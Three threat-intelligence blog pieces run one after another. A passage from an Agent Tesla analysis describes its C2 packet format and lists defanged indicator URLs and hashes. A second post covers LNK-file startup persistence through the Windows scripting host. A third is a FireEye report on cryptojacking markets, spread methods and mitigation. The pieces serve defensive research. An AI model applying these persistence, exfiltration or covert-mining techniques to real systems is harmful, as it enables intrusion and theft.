Each item of stolen data before encryption is kept in the structure — “header” + “data”.
The “header” contains the basic information of the victim’s system: “Packet number” + ”Separator” + “Victim ID” + ”Separator” + “Date and Time” + ”Separator string” + “UserName/ComputerName” + ”Separator”
The “data” contains the stolen information, like credentials and cookies.
Figure 5.2 shows an example of data with packet number “6”, which contains the basic information (“header” part) and the Stolen Data (“data” part) that is base64-encoded cookies.
“0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0\" is the Separator string that is hardcoded in Agent Tesla.
The Victim ID is a MD5 hash value generated from the system’s hardware information.
Agent Tesla provides seven kinds of packets to send data/status to the attacker.
Each packet has a packet number to identify the packet.
They are “0”, “1”, “2”, “3”, “4”, “5” and “6”.
Packet “0”:
It is always the first packet to tell the attacker that Agent Tesla has started.
It only contains the “header” data.
Packet “1”: It is sent once every 120 seconds.
It is like a heartbeat to tell the attacker that Agent Tesla is alive.
It only contains the “header” data.
Packet “2”: It is sent every 60 seconds and only contains the “header” data.
Agent Tesla reads the response and checks if it contains “uninstall”.
If yes, it uninstalls Agent Tesla from the victim’s system, including deleting all files made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process.
Packet “3”: It sends the victim’s keystrokes (keylogger data) and stolen clipboard data within the “data” part of the post.
Packet “4”: It sends captured screenshots of the victim’s screen within the “data” part of the post.
Packet “5”:
It sends the credentials stolen from the software clients within the “data” part of the post.
Packet “6”:
It sends cookies files in a ZIP archive that are collected from browsers and included within the “data” part of the post.
Conclusion In this analysis, I have shown how this phishing campaign began by targeting Korean users.
I then explained how the macro in the PowerPoint is used to execute a piece of VBScript-embedded-in-HTML code.
It also leverages a complicated standalone VBS and PowerShell script code to perform multiple tasks, like upgrading, maintaining persistence, and process-hollowing.
I then elaborated on what kind of software clients the Agent Tesla targets and what kind of data it is able to collect from them, as well as how the stolen data is sent to the attacker via the HTTP Post method.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering , AntiVirus, FortiEDR , and CDR (content disarm and reconstruction) services, as follows:
The malicious Macro inside the PowerPoint sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
All relevant URLs have been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The PowerPoint sample attached to the phishing email and the standalone VBS file are detected as \" VBA/Agent.
BLY!tr \" and \" VBS/AgentTesla.
VTO!tr.dldr \" and are blocked by the FortiGuard AntiVirus service.
FortiEDR detects the downloaded executable file as malicious based on its behavior.
FortiMail protects Fortinet customers by blocking phishing emails and applying FortiGuard’s Web Filtering, AntiVirus, and CDR (content disarm and reconstruction) technologies.
In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training : NSE 1 – Information Security Awareness .
It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs URLs Involved in the Campaign: \"hxxps[:]//onedayiwillloveyouforever[.]blogspot[.
]com/p/divine111.html\" \"hxxps[:]//madarbloghogya[.]blogspot[.
]com/p/divineback222.html\" \"hxxps[:]//bitbucket[.
]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2\" \"hxxp[:]//149[.]56.200[.
]165/rump/1.txt\" \"hxxps[:]//bitbucket[.
]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-
1\" \"hxxp[:]//69[.]174.99[.
]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php\" Sample SHA-256 Involved in the Campaign: [새 구매 주문서 .ppa /
new purchase order.ppa] AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894 [UYA-update.vbs / GTQ.vbs]
0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
About a month ago, I was involved in an investigation that revealed a targeted attacker using an interesting variation of a well-known persistence mechanism - a technique that is relevant both to incident responders hunting for evil and penetration testers looking to add post-exploitation methods to their toolkit.
Today, I'm going to talk about this persistence mechanism and discuss some ways you might go about identifying it in your environment.
I think that the majority of folks reading this blog have encountered malware that maintains persistence via the startup folder.
The startup folder is a directory that may contain binaries, scripts or shortcut files.
A folder exists for each user on the system as well as for \"all users.\" On Windows 7, for example, the Administrator startup folder resides at \"C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup\".
When a user successfully authenticates, Windows will attempt to execute any binary, run any script, or follow-up and execute any shortcut that is present within that user's startup folder.
If scripts or applications are placed in the \"all users\" startup folder, these will be executed shortly after the system boots.
I often see the startup folder used legitimately to execute maintenance scripts written in Visual Basic or in Microsoft's batch scripting language.
I also frequently see that applications install shortcut, or LNK, files within the startup folder that point to applications on disk.
Malicious use of this directory, however, is most often associated with commodity malware - often accomplished by dropping an executable into the startup folder.
I've also seen a few variants of commodity malware that install a LNK file in the startup folder and deploy an EXE into a directory that the user can write to, like \" C: users local settings emp \".
LNK files contain several kinds of useful metadata, but for today's purposes we're interested in LNK files as pointers to other files.
In this recent case, we identified a novel technique that indirectly loads malicious scripts by means of LNK files in a user's start-up folder.
The LNK file was designed to invoke the Windows scripting host (WSH).
The WSH comes in both a GUI version, \"wscript.exe\", and a command-line version, \"cscript.exe\".
The WSH can interpret Visual Basic scripts, commonly denoted by the file extension \".vbs\", and Jscripts (Microsoft's implementation of JavaScript), commonly denoted by the file extension \".js\".
The malicious LNK file invoked \"wscript.exe\" to interpret a JScript file stored within a specific user's profile.
Here's a cleaned-up excerpt parsed from the LNK file using lnk-parser , depicting the relative path to the WSH (in yellow) and an argument (in green) which points to a JScript file: The JScript we found used an ActiveXObject object to create an instance of Internet Explorer and open a URL hosted by a code-sharing cloud service.
Here's what that looks like: This script connected to a remote system that provided command and control (C2) functionality , which included collecting system information from the infected machine and providing the attacker with the ability to execute commands via the command console, \"cmd.exe\".
During analysis of the affected system, we found significant evidence in URL History for the Internet Explorer browser that depicted requests to the malicious URL.
The requests for URLs looked like \"http://hostname-4.
legitcloudservice .com/?action
=get&mt= =\".
As depicted in the code snippet above, the base64-encoded string consisted of the Windows domain, username, and NetBIOS name values separated by the pipe (|) character.
Though somewhat convoluted and reliant on basic techniques, this persistence mechanism provides several advantages to an attacker.
It avoids the need to create or execute a malicious binary on the targeted system, and similarly does not require any registry keys or settings to automatically load upon start-up or user login.
This can help bypass application whitelisting and host-based intrusion prevention systems tuned to detect or block such activity.
In this specific case, the attacker used network traffic generated by the malicious script to access legitimate, commonly-used web sites via HTTP.
This traffic would blend into the normal \"noise\" of an enterprise network and evade detection.
One way to detect this form of persistence is to use an IOC that examines files within the Startup folder for references to the WSH.
Investigators should examine each LNK file that this IOC identifies to determine whether the WSH is being used to launch a script; investigators should also analyze all scripts for malicious functions and network indicators.
Here is an example IOC: Network detection is a little trickier because an attacker could implement network communication in a multitude of ways, depending on the purpose of the script, the scripting language and the protocol.
For the example we referenced, the URL parameters \"?action=get&mt=\" might make a good network indicator; here's an example SNORT signature to identify those parameters: Subscribe to Blogs Get email updates as new blog posts are added.
Introduction Cyber criminals tend to favor cryptocurrencies because they provide a certain level of anonymity and can be easily monetized.
This interest has increased in recent years , stemming far beyond the desire to simply use cryptocurrencies as a method of payment for illicit tools and services.
Many actors have also attempted to capitalize on the growing popularity of cryptocurrencies, and subsequent rising price, by conducting various operations aimed at them.
These operations include malicious cryptocurrency mining (also referred to as cryptojacking), the collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.
This blog post discusses the various trends that we have been observing related to cryptojacking activity, including cryptojacking modules being added to popular malware families, an increase in drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, cryptojacking as a threat to critical infrastructure, and observed distribution mechanisms.
What Is Mining?
As transactions occur on a blockchain, those transactions must be validated and propagated across the network.
As computers connected to the blockchain network (aka nodes) validate and propagate the transactions across the network, the miners include those transactions into \"blocks\" so that they can be added onto the chain.
Each block is cryptographically hashed, and must include the hash of the previous block, thus forming the \"chain\" in blockchain.
In order for miners to compute the complex hashing of each valid block, they must use a machine's computational resources.
The more blocks that are mined, the more resource-intensive solving the hash becomes.
To overcome this, and accelerate the mining process, many miners will join collections of computers called \"pools\" that work together to calculate the block hashes.
The more computational resources a pool harnesses, the greater the pool's chance of mining a new block.
When a new block is mined, the pool's participants are rewarded with coins.
Figure 1 illustrates the roles miners play in the blockchain network.
Figure 1:
The role of miners Underground Interest FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency mining-related topics dating back to at least 2009 within underground communities.
Keywords that yielded significant volumes include miner, cryptonight, stratum, xmrig, and cpuminer.
While searches for certain keywords fail to provide context, the frequency of these cryptocurrency mining-related keywords shows a sharp increase in conversations beginning in 2017 (Figure 2).
It is probable that at least a subset of actors prefer cryptojacking over other types of financially motivated operations due to the perception that it does not attract as much attention from law enforcement.
Figure 2: Underground keyword mentions Monero Is King The majority of recent cryptojacking operations have overwhelmingly focused on mining Monero, an open-source cryptocurrency based on the CryptoNote protocol, as a fork of Bytecoin.
Unlike many cryptocurrencies, Monero uses a unique technology called \"ring signatures,\" which shuffles users' public keys to eliminate the possibility of identifying a particular user, ensuring it is untraceable.
Monero also employs a protocol that generates multiple, unique single-use addresses that can only be associated with the payment recipient and are unfeasible to be revealed through blockchain analysis, ensuring that Monero transactions are unable to be linked while also being cryptographically secure.
The Monero blockchain also uses what's called a \"memory-hard\" hashing algorithm called CryptoNight and, unlike Bitcoin's SHA-256 algorithm, it deters application-specific integrated circuit (ASIC) chip mining.
This feature is critical to the Monero developers and allows for CPU mining to remain feasible and profitable.
Due to these inherent privacy-focused features and CPU-mining profitability, Monero has become an attractive option for cyber criminals.
Underground Advertisements for Miners Because most miner utilities are small, open-sourced tools, many criminals rely on crypters.
Crypters are tools that employ encryption, obfuscation, and code manipulation techniques to keep their tools and malware fully undetectable (FUD).
Table 1 highlights some of the most commonly repurposed Monero miner utilities.
XMR Mining Utilities XMR-STACK MINERGATE XMRMINER
CCMINER XMRIG
CLAYMORE SGMINER CAST XMR LUKMINER CPUMINER-MULTI Table 1: Commonly used Monero miner utilities The following are sample advertisements for miner utilities commonly observed in underground forums and markets.
Advertisements typically range from stand-alone miner utilities to those bundled with other functions, such as credential harvesters, remote administration tool (RAT) behavior, USB spreaders, and distributed denial-of-service (DDoS) capabilities.
Sample Advertisement #1 (Smart Miner + Builder)
In early April 2018, actor \"Mon£y\" was observed by FireEye iSIGHT Intelligence selling a Monero miner for $80 USD – payable via Bitcoin, Bitcoin Cash, Ether, Litecoin, or Monero – that included unlimited builds, free automatic updates, and 24/7 support.
The tool, dubbed Monero Madness (Figure 3), featured a setting called Madness Mode that configures the miner to only run when the infected machine is idle for at least 60 seconds.
This allows the miner to work at its full potential without running the risk of being identified by the user.
According to the actor, Monero Madness also provides the following features: Unlimited builds Builder GUI (Figure 4) Written in AutoIT (no dependencies) FUD Safer error handling Uses most recent XMRig code Customizable pool/port Packed with UPX Works on all Windows OS (32- and 64-bit) Madness Mode option Figure 3:
Monero Madness Figure 4:
Monero Madness builder Sample Advertisement #2 (Miner + Telegram Bot Builder)
In March 2018, FireEye iSIGHT Intelligence observed actor \"kent9876\" advertising a Monero cryptocurrency miner called Goldig Miner (Figure 5).
The actor requested payment of $23 USD for either CPU or GPU build or $50 USD for both.
Payments could be made with Bitcoin, Ether, Litecoin, Dash, or PayPal.
The miner ostensibly offers the following features: Written in C/C++ Build size is small (about 100–150 kB)
Hides miner process from popular task managers Can run without Administrator privileges (user-mode) Auto-update ability All data encoded with 256-bit key Access to Telegram bot-builder Lifetime support (24/7) via Telegram Figure 5: Goldig Miner advertisement Sample Advertisement #3 (Miner + Credential Stealer)
In March 2018, FireEye iSIGHT Intelligence observed actor \"TH3FR3D\" offering a tool dubbed Felix (Figure 6) that combines a cryptocurrency miner and credential stealer.
The actor requested payment of $50 USD payable via Bitcoin or Ether.
According to the advertisement, the Felix tool boasted the following features: Written in C# (Version 1.0.1.0) Browser stealer for all major browsers (cookies, saved passwords, auto-fill) Monero miner (uses minergate.com pool by default, but can be configured)
Filezilla stealer Desktop file grabber (.txt and more) Can download and execute files Update ability USB spreader functionality PHP web panel Figure 6: Felix HTTP Sample Advertisement #4 (Miner + RAT)
In January 2018, FireEye iSIGHT Intelligence observed actor \"ups\" selling a miner for any Cryptonight-based cryptocurrency (e.g., Monero and Dashcoin) for either Linux or Windows operating systems.
In addition to being a miner, the tool allegedly provides local privilege escalation through the CVE-2016-0099 exploit, can download and execute remote files, and receive commands.
Buyers could purchase the Windows or Linux tool for €200 EUR, or €325 EUR for both the Linux and Windows builds, payable via Monero, bitcoin, ether, or dash.
According to the actor, the tool offered the following: Windows Build Specifics Written in C++ (no dependencies)
Miner component based on XMRig
Easy cryptor and VPS hosting options Web panel (Figure 7) Uses TLS for secured communication Download and execute Auto-update ability Cleanup routine Receive remote commands Perform privilege escalation Features \"game mode\" (mining stops if user plays game)
Proxy feature (based on XMRig)
Support (for €20/month) Kills other miners from list Hidden from TaskManager Configurable pool, coin, and wallet (via panel) Can mine the following Cryptonight-based coins:
Monero Bytecoin Electroneum DigitalNote Karbowanec Sumokoin Fantomcoin Dinastycoin Dashcoin LeviarCoin BipCoin QuazarCoin Bitcedi Linux Build Specifics Issues running on Linux servers (higher performance on desktop OS)
Compatible with AMD64 processors on Ubuntu, Debian, Mint (support for CentOS later) Figure 7:
Miner bot web panel Sample Advertisement #5 (Miner + USB Spreader + DDoS Tool)
In August 2017, actor \"MeatyBanana\" was observed by FireEye iSIGHT Intelligence selling a Monero miner utility that included the ability to download and execute files and perform DDoS attacks.
The actor offered the software for $30 USD, payable via Bitcoin.
Ostensibly, the tool works with CPUs only and offers the following features: Configurable miner pool and port (default to minergate)
Compatible with both 64- and 86-bit Windows OS Hides from the following popular task managers: Windows Task Manager Process Killer KillProcess System Explorer Process Explorer AnVir Process Hacker Masked as a system driver Does not require administrator privileges No dependencies Registry persistence mechanism Ability to perform \"tasks\" (download and execute files, navigate to a site, and perform DDoS) USB spreader Support after purchase The Cost of Cryptojacking The presence of mining software on a network can generate costs on three fronts as the miner surreptitiously allocates resources: Degradation in system performance Increased cost in electricity Potential exposure of security holes Cryptojacking targets computer processing power, which can lead to high CPU load and degraded performance.
In extreme cases, CPU overload may even cause the operating system to crash.
Infected machines may also attempt to infect neighboring machines and therefore generate large amounts of traffic that can overload victims' computer networks.
In the case of operational technology (OT) networks, the consequences could be severe.
Supervisory control and data acquisition/industrial control systems (SCADA/ICS) environments predominately rely on decades-old hardware and low-bandwidth networks, therefore even a slight increase in CPU load or the network could leave industrial infrastructures unresponsive, impeding operators from interacting with the controlled process in real-time.
The electricity cost, measured in kilowatt hour (kWh), is dependent upon several factors: how often the malicious miner software is configured to run, how many threads it's configured to use while running, and the number of machines mining on the victim's network.
The cost per kWh is also highly variable and depends on geolocation.
For example, security researchers who ran Coinhive on a machine for 24 hours found that the electrical consumption was 1.212kWh.
They estimated that this equated to electrical costs per month of $10.50 USD in the United States, $5.45 USD in Singapore, and $12.30 USD in Germany.
Cryptojacking can also highlight often overlooked security holes in a company's network.
Organizations infected with cryptomining malware are also likely vulnerable to more severe exploits and attacks, ranging from ransomware to ICS-specific malware such as TRITON .
Cryptocurrency Miner Distribution Techniques In order to maximize profits, cyber criminals widely disseminate their miners using various techniques such as incorporating cryptojacking modules into existing botnets, drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, and distributing cryptojacking utilities via spam and self-propagating utilities.
Threat actors can use cryptojacking to affect numerous devices and secretly siphon their computing power.
Some of the most commonly observed devices targeted by these cryptojacking schemes are: User endpoint machines Enterprise servers Websites Mobile devices Industrial control systems Cryptojacking in the Cloud Private sector companies and governments alike are increasingly moving their data and applications to the cloud , and cyber threat groups have been moving with them.
Recently, there have been various reports of actors conducting cryptocurrency mining operations specifically targeting cloud infrastructure.
Cloud infrastructure is increasingly a target for cryptojacking operations because it offers actors an attack surface with large amounts of processing power in an environment where CPU usage and electricity costs are already expected to be high, thus allowing their operations to potentially go unnoticed.
We assess with high confidence that threat actors will continue to target enterprise cloud networks in efforts to harness their collective computational resources for the foreseeable future.
The following are some real-world examples of cryptojacking in the cloud: In February 2018, FireEye researchers published a blog detailing various techniques actors used in order to deliver malicious miner payloads (specifically to vulnerable Oracle servers) by abusing CVE-2017-10271.
Refer to our blog post for more detailed information regarding the post-exploitation and pre-mining dissemination techniques used in those campaigns.
In March 2018, Bleeping Computer reported on the trend of cryptocurrency mining campaigns moving to the cloud via vulnerable Docker and Kubernetes applications, which are two software tools used by developers to help scale a company's cloud infrastructure.
In most cases, successful attacks occur due to misconfigured applications and/or weak security controls and passwords.
In February 2018, Bleeping Computer also reported on hackers who breached Tesla's cloud servers to mine Monero.
Attackers identified a Kubernetes console that was not password protected, allowing them to discover login credentials for the broader Tesla Amazon Web services (AWS) S3 cloud environment.
Once the attackers gained access to the AWS environment via the harvested credentials, they effectively launched their cryptojacking operations.
Reports of cryptojacking activity due to misconfigured AWS S3 cloud storage buckets have also been observed, as was the case in the LA Times online compromise in February 2018.
The presence of vulnerable AWS S3 buckets allows anyone on the internet to access and change hosted content, including the ability to inject mining scripts or other malicious software.
Incorporation of Cryptojacking into Existing Botnets FireEye iSIGHT Intelligence has observed multiple prominent botnets such as Dridex and Trickbot incorporate cryptocurrency mining into their existing operations.
Many of these families are modular in nature and have the ability to download and execute remote files, thus allowing the operators to easily turn their infections into cryptojacking bots.
While these operations have traditionally been aimed at credential theft (particularly of banking credentials), adding mining modules or downloading secondary mining payloads provides the operators another avenue to generate additional revenue with little effort.
This is especially true in cases where the victims were deemed unprofitable or have already been exploited in the original scheme.
The following are some real-world examples of cryptojacking being incorporated into existing botnets:
In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.
On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs.
The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.
In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.
In late 2017, FireEye researchers observed Trickbot operators deploy a new module named \"testWormDLL\" that is a statically compiled copy of the popular XMRig Monero miner.
On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module.
According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server.
Drive-By Cryptojacking In-Browser FireEye iSIGHT Intelligence has examined various customer reports of browser-based cryptocurrency mining.
Browser-based mining scripts have been observed on compromised websites, third-party advertising platforms, and have been legitimately placed on websites by publishers.
While coin mining scripts can be embedded directly into a webpage's source code, they are frequently loaded from third-party websites.
Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers, such as in the case of a compromised website.
Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors.
At the time of reporting, the most popular script being deployed in the wild is Coinhive.
Coinhive is an open-source JavaScript library that, when loaded on a vulnerable website, can mine Monero using the site visitor's CPU resources, unbeknownst to the user, as they browse the site.
The following are some real-world examples of Coinhive being deployed in the wild: In September 2017, Bleeping Computer reported that the authors of SafeBrowse, a Chrome extension with more than 140,000 users, had embedded the Coinhive script in the extension's code that allowed for the mining of Monero using users' computers and without getting their consent.
During mid-September 2017, users on Reddit began complaining about increased CPU usage when they navigated to a popular torrent site, The Pirate Bay (TPB).
The spike in CPU usage was a result of Coinhive's script being embedded within the site's footer.
According to TPB operators, it was implemented as a test to generate passive revenue for the site (Figure 8).
In December 2017, researchers with Sucuri reported on the presence of the Coinhive script being hosted on GitHub.io, which allows users to publish web pages directly from GitHub repositories.
Other reporting disclosed the Coinhive script being embedded on the Showtime domain as well as on the LA Times website , both surreptitiously mining Monero.
A majority of in-browser cryptojacking activity is transitory in nature and will last only as long as the user’s web browser is open.
However, researchers with Malwarebytes Labs uncovered a technique that allows for continued mining activity even after the browser window is closed.
The technique leverages a pop-under window surreptitiously hidden under the taskbar.
As researchers pointed out, closing the browser window may not be enough to interrupt the activity, and that more advanced actions like running the Task Manager may be required.
Figure 8: Statement from TPB operators on Coinhive script Malvertising and Exploit Kits Malvertisements – malicious ads on legitimate websites – commonly redirect visitors of a site to an exploit kit landing page.
These landing pages are designed to scan a system for vulnerabilities, exploit those vulnerabilities, and download and execute malicious code onto the system.
Notably, the malicious advertisements can be placed on legitimate sites and visitors can become infected with little to no user interaction.
This distribution tactic is commonly used by threat actors to widely distribute malware and has been employed in various cryptocurrency mining operations.
The following are some real-world examples of this activity: In early 2018, researchers with Trend Micro reported that a modified miner script was being disseminated across YouTube via Google's DoubleClick ad delivery platform.
The script was configured to generate a random number variable between 1 and 100, and when the variable was above 10 it would launch the Coinhive script coinhive.min.js , which harnessed 80 percent of the CPU power to mine Monero.
When the variable was below 10 it launched a modified Coinhive script that was also configured to harness 80 percent CPU power to mine Monero.
This custom miner connected to the mining pool wss[:]//ws[.]l33tsite[.
]info:8443, which was likely done to avoid Coinhive's fees.
In April 2018, researchers with Trend Micro also discovered a JavaScript code based on Coinhive injected into an AOL ad platform.
The miner used the following private mining pools: wss[:]//wsX[.]www.datasecu[.
]download/proxy and wss[:]//www[.]jqcdn[.
]download:8893/proxy.
Examination of other sites compromised by this campaign showed that in at least some cases the operators were hosting malicious content on unsecured AWS S3 buckets.
Since July 16, 2017, FireEye has observed the Neptune Exploit Kit redirect to ads for hiking clubs and MP3 converter domains.
Payloads associated with the latter include Monero CPU miners that are surreptitiously installed on victims' computers.
In January 2018, Check Point researchers discovered a malvertising campaign leading to the Rig Exploit Kit, which served the XMRig Monero miner utility to unsuspecting victims.
Mobile Cryptojacking
In addition to targeting enterprise servers and user machines, threat actors have also targeted mobile devices for cryptojacking operations.
While this technique is less common, likely due to the limited processing power afforded by mobile devices, cryptojacking on mobile devices remains a threat as sustained power consumption can damage the device and dramatically shorten the battery life.
Threat actors have been observed targeting mobile devices by hosting malicious cryptojacking apps on popular app stores and through drive-by malvertising campaigns that identify users of mobile browsers.
The following are some real-world examples of mobile devices being used for cryptojacking:
During 2014, FireEye iSIGHT Intelligence reported on multiple Android malware apps capable of mining cryptocurrency: In March 2014, Android malware named \"CoinKrypt\" was discovered, which mined Litecoin, Dogecoin, and CasinoCoin currencies.
In March 2014, another form of Android malware – \"Android.
Trojan.
MuchSad.
A\" or \"ANDROIDOS_KAGECOIN.HBT\" – was observed mining Bitcoin, Litecoin, and Dogecoin currencies.
The malware was disguised as copies of popular applications, including \"Football Manager Handheld\" and \"TuneIn Radio.\" Variants of this malware have reportedly been downloaded by millions of Google Play users.
In April 2014, Android malware named \"BadLepricon,\" which mined Bitcoin, was identified.
The malware was reportedly being bundled into wallpaper applications hosted on the Google Play store, at least several of which received 100 to 500 installations before being removed.
In October 2014, a type of mobile malware called \"Android Slave\" was observed in China; the malware was reportedly capable of mining multiple virtual currencies.
In December 2017, researchers with Kaspersky Labs reported on a new multi-faceted Android malware capable of a variety of actions including mining cryptocurrencies and launching DDoS attacks.
The resource load created by the malware has reportedly been high enough that it can cause the battery to bulge and physically destroy the device.
The malware, dubbed Loapi, is unique in the breadth of its potential actions.
It has a modular framework that includes modules for malicious advertising, texting, web crawling, Monero mining, and other activities.
Loapi is thought to be the work of the same developers behind the 2015 Android malware Podec, and is usually disguised as an anti-virus app.
In January 2018, SophosLabs released a report detailing their discovery of 19 mobile apps hosted on Google Play that contained embedded Coinhive-based cryptojacking code, some of which were downloaded anywhere from 100,000 to 500,000 times.
Between November 2017 and January 2018, researchers with Malwarebytes Labs reported on a drive-by cryptojacking campaign that affected millions of Android mobile browsers to mine Monero.
Cryptojacking Spam Campaigns FireEye iSIGHT Intelligence has observed several cryptocurrency miners distributed via spam campaigns, which is a commonly used tactic to indiscriminately distribute malware.
We expect malicious actors will continue to use this method to disseminate cryptojacking code as for long as cryptocurrency mining remains profitable.
In late November 2017, FireEye researchers identified a spam campaign delivering a malicious PDF attachment designed to appear as a legitimate invoice from the largest port and container service in New Zealand: Lyttelton Port of Chistchurch (Figure 9).
Once opened, the PDF would launch a PowerShell script that downloaded a Monero miner from a remote host.
The malicious miner connected to the pools supportxmr.com and nanopool.org.
Figure 9:
Sample lure attachment (PDF) that downloads malicious cryptocurrency miner Additionally, a massive cryptojacking spam campaign was discovered by FireEye researchers during January 2018 that was designed to look like legitimate financial services-related emails.
The spam email directed victims to an infection link that ultimately dropped a malicious ZIP file onto the victim's machine.
Contained within the ZIP file was a cryptocurrency miner utility (MD5: 80b8a2d705d5b21718a6e6efe531d493) configured to mine Monero and connect to the minergate.com pool.
While each of the spam email lures and associated ZIP filenames were different, the same cryptocurrency miner sample was dropped across all observed instances (Table 2).
ZIP Filenames california_540_tax_form_2013_instructions.exe
state_bank_of_india_money_transfer_agency.exe format_transfer_sms_banking_bni_ke_bca.exe confirmation_receipt_letter_sample.exe sbi_online_apply_2015_po.exe estimated_tax_payment_coupon_irs.exe how_to_add_a_non_us_bank_account_to_paypal.exe western_union_money_transfer_from_uk_to_bangladesh.exe can_i_transfer_money_from_bank_of_ireland_to_aib_online.exe how_to_open_a_business_bank_account_with_bad_credit_history.exe apply_for_sbi_credit_card_online.exe list_of_lucky_winners_in_dda_housing_scheme_2014.exe Table 2:
Sampling of observed ZIP filenames delivering cryptocurrency miner Cryptojacking Worms Following the WannaCry attacks, actors began to increasingly incorporate self-propagating functionality within their malware.
Some of the observed self-spreading techniques have included copying to removable drives, brute forcing SSH logins, and leveraging the leaked NSA exploit EternalBlue .
Cryptocurrency mining operations significantly benefit from this functionality since wider distribution of the malware multiplies the amount of CPU resources available to them for mining.
Consequently, we expect that additional actors will continue to develop this capability.
The following are some real-world examples of cryptojacking worms: In May 2017, Proofpoint reported a large campaign distributing mining malware \"Adylkuzz.\" This cryptocurrency miner was observed leveraging the EternalBlue exploit to rapidly spread itself over corporate LANs and wireless networks.
This activity included the use of the DoublePulsar backdoor to download Adylkuzz.
Adylkuzz infections create botnets of Windows computers that focus on mining Monero.
Security researchers with Sensors identified a Monero miner worm, dubbed \"Rarogminer,\" in April 2018 that would copy itself to removable drives each time a user inserted a flash drive or external HDD.
In January 2018, researchers at F5 discovered a new Monero cryptomining botnet that targets Linux machines.
PyCryptoMiner is based on Python script and spreads via the SSH protocol.
The bot can also use Pastebin for its command and control (C2) infrastructure.
The malware spreads by trying to guess the SSH login credentials of target Linux systems.
Once that is achieved, the bot deploys a simple base64-encoded Python script that connects to the C2 server to download and execute more malicious Python code.
Detection Avoidance Methods Another trend worth noting is the use of proxies to avoid detection.
The implementation of mining proxies presents an attractive option for cyber criminals because it allows them to avoid developer and commission fees of 30 percent or more.
Avoiding the use of common cryptojacking services such as Coinhive, Cryptloot, and Deepminer, and instead hosting cryptojacking scripts on actor-controlled infrastructure, can circumvent many of the common strategies taken to block this activity via domain or file name blacklisting.
In March 2018, Bleeping Computer reported on the use of cryptojacking proxy servers and determined that as the use of cryptojacking proxy services increases, the effectiveness of ad blockers and browser extensions that rely on blacklists decreases significantly.
Several mining proxy tools can be found on GitHub, such as the XMRig Proxy tool, which greatly reduces the number of active pool connections, and the CoinHive Stratum Mining Proxy , which uses Coinhive’s JavaScript mining library to provide an alternative to using official Coinhive scripts and infrastructure.
In addition to using proxies, actors may also establish their own self-hosted miner apps, either on private servers or cloud-based servers that supports Node.js.
Although private servers may provide some benefit over using a commercial mining service, they are still subject to easy blacklisting and require more operational effort to maintain.
According to Sucuri researchers , cloud-based servers provide many benefits to actors looking to host their own mining applications, including: Available free or at low-cost No maintenance, just upload the crypto-miner app Harder to block as blacklisting the host address could potentially impact access to legitimate services Resilient to permanent takedown as new hosting accounts can more easily be created using disposable accounts The combination of proxies and crypto-miners hosted on actor-controlled cloud infrastructure presents a significant hurdle to security professionals, as both make cryptojacking operations more difficult to detect and take down.
Mining Victim Demographics Based on data from FireEye detection technologies, the detection of cryptocurrency miner malware has increased significantly since the beginning of 2018 (Figure 10), with the most popular mining pools being minergate and nanopool (Figure 11), and the most heavily affected country being the U.S. (Figure 12).
Consistent with other reporting , the education sector remains most affected, likely due to more relaxed security controls across university networks and students taking advantage of free electricity to mine cryptocurrencies (Figure 13).
Figure 10: Cryptocurrency miner detection activity per month Figure 11: Commonly observed pools and associated ports Figure 12:
Top 10 affected countries Figure 13:
Top five affected industries Figure 14:
Top affected industries by country Mitigation Techniques Unencrypted Stratum Sessions
According to security researchers at Cato Networks, in order for a miner to participate in pool mining, the infected machine will have to run native or JavaScript-based code that uses the Stratum protocol over TCP or HTTP/S.
The Stratum protocol uses a publish/subscribe architecture where clients will send subscription requests to join a pool and servers will send messages (publish) to its subscribed clients.
These messages are simple, readable, JSON-RPC messages.
Subscription requests will include the following entities: id, method, and params (Figure 15).
A deep packet inspection (DPI) engine can be configured to look for these parameters in order to block Stratum over unencrypted TCP.
Figure 15:
Stratum subscription request parameters Encrypted Stratum Sessions
In the case of JavaScript-based miners running Stratum over HTTPS, detection is more difficult for DPI engines that do not decrypt TLS traffic.
To mitigate encrypted mining traffic on a network, organizations may blacklist the IP addresses and domains of popular mining pools.
However, the downside to this is identifying and updating the blacklist, as locating a reliable and continually updated list of popular mining pools can prove difficult and time consuming.
Browser-Based Sessions Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers (as in the case of a compromised website).
Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors.
